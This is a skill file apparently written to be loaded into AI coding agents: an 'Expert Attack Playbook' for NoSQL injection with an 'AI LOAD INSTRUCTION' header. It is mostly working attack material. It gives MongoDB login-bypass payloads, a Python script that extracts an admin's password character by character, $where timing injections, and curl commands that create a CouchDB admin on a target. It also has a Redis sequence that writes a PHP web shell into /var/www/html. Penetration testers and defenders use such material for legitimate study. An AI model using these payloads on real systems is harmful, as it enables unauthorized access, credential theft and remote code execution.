skills/yaklang/hack-skills/nosql-injection

nosql-injection

Installation
SKILL.md

SKILL: NoSQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.


1. CORE CONCEPT — OPERATOR INJECTION

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.

MongoDB example — normal query:

db.users.find({username: "alice", password: "secret"})

Injection via JSON operator:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!


2. MONGODB — LOGIN BYPASS

JSON Body Injection (API with JSON Content-Type)

POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

PHP $_POST Array Injection (URL-encoded form)

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

Ruby / Python params Array Injection

Same as PHP — use bracket notation to inject objects:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 = URL-encoded $


3. MONGODB OPERATORS FOR INJECTION

Operator Meaning Use Case
$ne not equal {"password": {"$ne": "x"}} → always matches
$gt greater than {"password": {"$gt": ""}} → all non-empty passwords match
$gte greater or equal Similar to $gt
$lt less than {"password": {"$lt": "~"}} → all ASCII match
$regex regex match {"username": {"$regex": "adm.*"}}
$where JS expression MOST DANGEROUS — code execution
$exists field exists {"admin": {"$exists": true}}
$in in array {"username": {"$in": ["admin","user"]}}

4. BLIND DATA EXTRACTION VIA $REGEX

Like binary search in SQLi, use $regex to extract field values character by character:

// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}

// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}

// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}

Response difference: successful login vs failed login = boolean oracle.

Automate with NoSQLMap or custom script with binary search on character set.


5. MONGODB $WHERE INJECTION (JS EXECUTION)

$where evaluates JavaScript in MongoDB context.
Can only use current document's fields — not system access. But allows logic abuse:

{"$where": "this.username == 'admin' && this.password.length > 0"}

// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}

Limit: $where doesn't give OS command execution — server-side JS injection (not to be confused with command injection).


6. AGGREGATION PIPELINE INJECTION

When user-controlled data enters $match or $group stages:

// Vulnerable code:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])

Inject operators to bypass:

// Input as object:
{"$ne": null}  → matches all categories
{"$regex": ".*"}  → matches all

7. HTTP PARAMETER POLLUTION FOR NOSQL

Some frameworks (Express.js, PHP) parse repeating parameters as arrays:

?filter=value1&filter=value2 → filter = ["value1", "value2"]

Use qs library parse behavior in Node.js:

?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection

8. COUCHDB ATTACKS

HTTP Admin API (if exposed)

# List databases:
curl http://target.com:5984/_all_dbs

# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true

# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'

9. REDIS INJECTION

Redis exposed (6379) with no auth — command injection via input used in Redis queries:

# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE

Auth bypass (older Redis with requirepass using simple password):

AUTH password
AUTH 123456
AUTH redis
AUTH admin

10. DETECTION PAYLOADS

Send these to any input processed by NoSQL backend:

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=

JSON variant test (change Content-Type to application/json if endpoint is form-based):

{"username": "admin", "password": {"$ne": ""}}

11. NOSQL VS SQL — KEY DIFFERENCES

Aspect SQLi NoSQLi
Language SQL syntax Query operator objects
Injection vector String concatenation Object/operator injection
Common signal Quote breaks response {$ne:x} changes response
Extraction method UNION / error-based $regex character oracle
Auth bypass ' OR 1=1-- {"password":{"$ne":""}}
OS command xp_cmdshell (MSSQL) Rare (need $where + CVE)
Fingerprint DB-specific error messages "cannot use $" errors

12. TESTING CHECKLIST

□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")

13. BLIND NoSQL EXTRACTION AUTOMATION

$regex Character-by-Character Extraction (Python Template)

import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break

print(f"Final password: {password}")

$regex via URL-encoded GET Parameters

username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds

Duplicate Key Bypass

// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100

14. AGGREGATION PIPELINE INJECTION

When user input reaches MongoDB aggregation pipeline stages:

// If user controls $match stage:
db.collection.aggregate([
  { $match: { user: INPUT } }  // INPUT from user
])

// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents

// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
    from: "admin_users",       // attacker-chosen collection
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// $out to write results to new collection:
{ $out: "public_collection" }  // Write query results to accessible collection

$where JavaScript Execution

// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })

// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='

Reference: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)

Note: $where runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any $where sink as high risk.

Weekly Installs
45
GitHub Stars
69
First Seen
2 days ago
Installed on
opencode45
gemini-cli45
deepagents45
antigravity45
github-copilot45
amp45